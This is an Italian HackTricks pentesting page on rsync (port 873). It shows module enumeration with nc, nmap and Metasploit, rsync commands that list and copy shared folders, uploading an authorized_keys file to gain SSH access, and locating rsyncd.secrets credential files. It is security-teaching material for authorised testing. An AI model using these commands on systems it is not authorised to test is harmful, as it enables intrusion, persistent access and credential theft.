hacktricks/src/network-services-pentesting/873-pentesting-rsync.md

88 lines
4.3 KiB
Markdown

# 873 - Pentesting Rsync
{{#include ../banners/hacktricks-training.md}}
## **Informazioni di base**
Da [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** è un'utilità per trasferire in modo efficiente [files](https://en.wikipedia.org/wiki/Computer_file) e [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) tra un computer e un disco rigido esterno e tra [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) confrontando i [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) e le dimensioni dei file.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) È comunemente trovato su [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). L'algoritmo rsync è un tipo di [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) ed è utilizzato per minimizzare l'uso della rete. [Zlib](https://en.wikipedia.org/wiki/Zlib) può essere utilizzato per una [data compression](https://en.wikipedia.org/wiki/Data_compression) aggiuntiva,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) possono essere utilizzati per la sicurezza.
**Porta predefinita:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Enumerazione
### Banner e comunicazione manuale
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Enumerazione delle Cartelle Condivise**
I **moduli Rsync** sono riconosciuti come **condivisioni di directory** che potrebbero essere **protette da password**. Per identificare i moduli disponibili e verificare se richiedono password, si utilizzano i seguenti comandi:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Fai attenzione che alcune condivisioni potrebbero non apparire nell'elenco, nascondendole. Inoltre, l'accesso ad alcune condivisioni potrebbe essere limitato a specifiche **credenziali**, indicate da un messaggio **"Accesso Negato"**.
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### Utilizzo Manuale di Rsync
Una volta ottenuto un **elenco dei moduli**, le azioni dipendono dal fatto che sia necessaria l'autenticazione. Senza autenticazione, **elencare** e **copiare** file da una cartella condivisa a una directory locale si ottiene tramite:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Questo processo **trasferisce file in modo ricorsivo**, preservando i loro attributi e permessi.
Con **credenziali**, l'elenco e il download da una cartella condivisa possono essere effettuati come segue, dove apparirà un prompt per la password:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Per **caricare contenuti**, come un file _**authorized_keys**_ per l'accesso, usa:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Per localizzare il file di configurazione rsyncd, eseguire:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
All'interno di questo file, un parametro _secrets file_ potrebbe puntare a un file contenente **nomi utente e password** per l'autenticazione rsyncd.
## Riferimenti
- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{{#include ../banners/hacktricks-training.md}}